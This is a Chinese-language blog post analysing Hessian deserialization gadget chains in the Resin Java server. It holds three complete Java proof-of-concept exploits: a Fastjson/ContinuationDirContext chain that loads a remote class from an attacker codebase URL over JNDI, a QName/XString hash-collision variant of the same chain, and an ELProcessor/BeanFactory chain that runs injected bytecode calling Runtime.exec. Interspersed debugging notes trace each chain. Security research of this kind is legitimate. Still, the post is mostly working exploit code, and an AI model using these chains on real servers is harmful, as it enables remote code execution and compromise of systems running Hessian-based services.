• Resin反序列化链分析


    前言

    Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系

    
      
        com.caucho
        resin
        4.0.64
      
    
    

    ContinuationDirContext+Fastjson利用链

    攻击测试

    因为是JDNI,所以还是得注意下jdk版本,这里用jdk8u65

    package org.example;
    
    
    import com.alibaba.fastjson.JSONObject;
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import sun.reflect.ReflectionFactory;
    
    import javax.naming.CannotProceedException;
    import javax.naming.Reference;
    import javax.naming.directory.DirContext;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Hashtable;
    
    public class resinPoc {
        public static void main(String[] args) throws Exception {
            //URLCLASSLOADER RCE
            Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");
            Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
            Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
            ccCons.setAccessible(true);
            CannotProceedException cpe = new CannotProceedException();
    
            cpe.setResolvedObj(refObj);
            DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
    
    //       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("f12",ctx);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            baos.write(67);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(jsonObject);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
            //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
            //System.out.println(ret);
    
        }
        public static HashMap makeMap (Object v1, Object v2 ) throws Exception {
            HashMap s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);
            return s;
        }
        public static  T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
            //writeReplaceMethod.setAccessible(true);
            oos.writeObject(o);
            oos.close();
    
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static  T createWithConstructor(Class classToInstantiate, Classsuper T> constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
            Constructorsuper T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    流程分析

    之前研究过Hessian反序列化,没想到它会触发反序列化对象的toString方法,经过调试,在过完最后那个map.put(in.readObject(),in.readObject())后,obj就是要反序列化的对象,这里有个字符拼接,所以触发了obj.toString()

    这里简单提一下,接下来看正式的流程,既然这里触发了JSONObject的toString方法,说明就能任意调用getter了,我们给JSONObject传入的对象是ContinuationDirContext,这里直接给出调用的getter方法,
    ContinuationContext是ContinuationDirContext的父类
    ContinuationContext#getTargetContext()
    我们在这个getter方法上打个断点

    进入NamingManager.getContext,这里面的cpe是我们恶意构造的


    跟进getObjectInstance方法

    这个引用一个对象工厂

    进入里面会进行类加载

    最终是通过URLClassLoader进行类加载的

    toString+Qname利用链

    toString的触发方式有很多,这里采用HashMap+XString来触发

    package org.example;
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.caucho.naming.QName;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import sun.reflect.ReflectionFactory;
    import com.alibaba.fastjson.JSONObject;
    import javax.naming.CannotProceedException;
    import javax.naming.Reference;
    import javax.naming.directory.DirContext;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Hashtable;
    
    public class XstringChain {
        public static void main(String[] args) throws Exception {
            Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
            Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
            Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
            ccCons.setAccessible(true);
            CannotProceedException cpe = new CannotProceedException();
    
            cpe.setResolvedObj(refObj);
            DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
            QName qName = new QName(ctx, "boo", "gii");
            String unhash = unhash(qName.hashCode());
            XString xString = new XString(unhash);
            HashMap map = makeMap(qName, xString);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(map);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
            //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
            //System.out.println(ret);
    
        }
        public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {
            HashMap s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);
            return s;
        }
        public static  T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
            //writeReplaceMethod.setAccessible(true);
            oos.writeObject(o);
            oos.close();
    
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static  T createWithConstructor(Class classToInstantiate, Classsuper T> constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructorsuper T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static String unhash ( int hash ) {
            int target = hash;
            StringBuilder answer = new StringBuilder();
            if ( target < 0 ) {
                // String with hash of Integer.MIN_VALUE, 0x80000000
                answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
    
                if ( target == Integer.MIN_VALUE )
                    return answer.toString();
                // Find target without sign bit set
                target = target & Integer.MAX_VALUE;
            }
    
            unhash0(answer, target);
            return answer.toString();
        }
        private static void unhash0 ( StringBuilder partial, int target ) {
            int div = target / 31;
            int rem = target % 31;
    
            if ( div <= Character.MAX_VALUE ) {
                if ( div != 0 )
                    partial.append((char) div);
                partial.append((char) rem);
            }
            else {
                unhash0(partial, div);
                partial.append((char) rem);
            }
        }
    }
    

    unhash的目的是为了绕过hashmap的hashcode判断,进入equals,这个链不是通过hashmap的readobject触发,之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法,那么就会调用hashcode或者是equals。


    触发QName的toString方法

    进入composeName

    调用getTargetContext,然后就是上面那条链了

    ResouceRef+ELProccessor RCE 利用链

    我本地测试没成功,在实例化javax.el.ELProcessor时的时候throw了一个java.lang.reflect.InvocationTargetException,很麻

    package org.example;
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.naming.ResourceRef;
    import sun.reflect.ReflectionFactory;
    import com.alibaba.fastjson.JSONObject;
    
    import javax.el.ELProcessor;
    import javax.naming.CannotProceedException;
    import javax.naming.StringRefAddr;
    import javax.naming.directory.DirContext;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Hashtable;
    
    public class ELProcessChain {
        public static void main(String[] args) throws Exception {
            ClassPool pool = new ClassPool();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] bytes = cc.toBytecode();
            String s1 = Base64.getEncoder().encodeToString(bytes);
            System.out.println(s1);
            String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
            //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
            resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
            Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
            Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
            ccCons.setAccessible(true);
            CannotProceedException cpe = new CannotProceedException();
    
            cpe.setResolvedObj(resourceRef);
            DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
    
    //       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("f12",ctx);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            baos.write(67);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(jsonObject);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
            //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
            //System.out.println(ret);
    
        }
        public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {
            HashMap s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);
            return s;
        }
        public static  T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
            //writeReplaceMethod.setAccessible(true);
            oos.writeObject(o);
            oos.close();
    
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static  T createWithConstructor(Class classToInstantiate, Classsuper T> constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructorsuper T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static String unhash ( int hash ) {
            int target = hash;
            StringBuilder answer = new StringBuilder();
            if ( target < 0 ) {
                // String with hash of Integer.MIN_VALUE, 0x80000000
                answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
    
                if ( target == Integer.MIN_VALUE )
                    return answer.toString();
                // Find target without sign bit set
                target = target & Integer.MAX_VALUE;
            }
    
            unhash0(answer, target);
            return answer.toString();
        }
        private static void unhash0 ( StringBuilder partial, int target ) {
            int div = target / 31;
            int rem = target % 31;
    
            if ( div <= Character.MAX_VALUE ) {
                if ( div != 0 )
                    partial.append((char) div);
                partial.append((char) rem);
            }
            else {
                unhash0(partial, div);
                partial.append((char) rem);
            }
        }
    }
    

    说下大致流程,前面的步骤一样,到这里,进入getObjectInstance

    这里beanClass是javax.el.ELProcessor,本来实例化后再往后就会取值进行调用执行了,但是在这实例化处si了

    这里invoke,rce


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18156091
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    markdown 如何书写 arg min max公式
    Django model 联合约束和联合索引
    【iMessage苹果推日历推位置推送】软件安装 UIApplication 的 registerForRemoteNotifications
    Codeforces Round #831 (Div. 1 + Div. 2) A-E
    Java-NIO之Channel(通道)
    StringBuilder常用方法及与String的区别和联系
    给电瓶车“消消火”——TSINGSEE青犀智能电瓶车棚监控方案
    基本算法——冒泡排序(Python版)
    Git 教程大总结(上)
    Node.js基础---使用Express写接口
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18156091